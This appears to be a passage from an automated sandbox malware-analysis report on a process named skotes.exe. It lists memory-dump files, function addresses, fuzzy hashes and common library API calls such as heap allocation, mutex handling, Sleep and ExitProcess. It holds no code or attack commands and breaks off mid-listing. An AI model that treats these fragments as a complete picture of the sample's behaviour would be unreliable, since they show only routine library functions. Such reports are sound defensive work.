Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a03bbd3202b9bcd5c37b0524abab9b4343dcd0fb5fae2a2e8910b199252ae38b
Instruction ID: efcef2009c5321a95e8a7acceb2f9e12f8903131aa30645229deba3c5a7be65e
Opcode Fuzzy Hash: a03bbd3202b9bcd5c37b0524abab9b4343dcd0fb5fae2a2e8910b199252ae38b
Instruction Fuzzy Hash: C5219B323502009BEB189B6CDD897AEF7AADFE2310F204229E414DB3D1CB769580C362

Function 00ADD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00ADA813,00000001,00000364,00000006,000000FF,?,00ADEE3F,?,00000004,00000000,?,?), ref: 00ADD870

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b7e41f1e76aee2ac3b32d38299cd4c7308fd50015184d2e453e8cad67685287b
Instruction ID: c59ef0bed9457bf8b57af6bee6511a6c91a20f1b2b8d7cc69a6d8fc9afd9ff5e
Opcode Fuzzy Hash: b7e41f1e76aee2ac3b32d38299cd4c7308fd50015184d2e453e8cad67685287b
Instruction Fuzzy Hash: 4FF02732A0512476EB233B72AD01A5F3B69DF81770F298023EC07A7391DE30DC00A6E0

Non-executed Functions

Function 00AA2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AA2F5F
GetCurrentThreadId.KERNEL32 ref: 00AA2F7E
__Mtx_unlock.LIBCPMT ref: 00AA2FCC
__Cnd_broadcast.LIBCPMT ref: 00AA2FE3
__Mtx_unlock.LIBCPMT ref: 00AA30F5
GetCurrentThreadId.KERNEL32 ref: 00AA3132
__Mtx_unlock.LIBCPMT ref: 00AA319B

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 48b3e7714bd372a9a58930d89a43260c0250f4430f44762c41142b4c22ea0cab
Instruction ID: 2006138df6e24091bb2f55e6794a36c4ba104da9d5fedeff528f2c740bbb32e6
Opcode Fuzzy Hash: 48b3e7714bd372a9a58930d89a43260c0250f4430f44762c41142b4c22ea0cab
Instruction Fuzzy Hash: C1A1D171A012059FEF21DF64C945BAAB7F8FF16324F048269F815D7282EB35EA14CB91

Function 00ADCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00ADCC66

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 59331a186c7f007e6ab3cfed68c9a5f719f4b1474f554e7d5868b872744e98c4
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 06B136729042869FDB15CF68C8817EEBBF5EF45360F54416BE956EB342DA348D01CB60

Function 00ABBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00ABBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00ABBBE4
_xtime_get.LIBCPMT ref: 00ABBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00ABBC13

Memory Dump Source

Source File: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1746818244.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746831215.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746877793.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746890667.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1746942997.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747030114.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747045083.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747100705.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747116706.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747133193.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747152191.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747170462.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747187044.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747201259.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747770840.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747793172.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747837126.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747874251.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747972191.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1747993810.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748029577.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748115115.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748132302.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748152837.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748166578.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748181609.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748195716.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748211983.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748227277.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748240665.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748257722.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748271446.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748315030.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748328600.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748341677.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748356647.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748371532.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1748384236.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 3f3d47d3bac42b97159e28fa9f29c0b8602effc7a29ef3e920122b8b31dbe983
Instruction ID: 48cce6c6ab347477317b4117cc9718f8ae9b94498b94c64f3afb553221a74d19
Opcode Fuzzy Hash: 3f3d47d3bac42b97159e28fa9f29c0b8602effc7a29ef3e920122b8b31dbe983
Instruction Fuzzy Hash: 59210C71A00219AFDF00EFA4D995DFEBBB9EF09720F104069F501A7262DB609D019BA0

Analysis Process: skotes.exePID: 4340, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	619
Total number of Limit Nodes:	4

Executed Functions

Function 00AD652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00AD652A,?,?,?,?,?,00AD7661), ref: 00AD6567

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c9f96b2dd9af7837c084d48c7bb056961a6a719c200ce7744a01ce91a2aa017c
Instruction ID: 4480ef2faea7ce8dc3dd9270b0e85b0df928bb84df19b03379267a7d9ac545f9
Opcode Fuzzy Hash: c9f96b2dd9af7837c084d48c7bb056961a6a719c200ce7744a01ce91a2aa017c
Instruction Fuzzy Hash: 60E08C31140188AECF257F18D90DE8D3B6AEB51782F409801F81A5A366CB76DEC1C680

Function 00AA9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
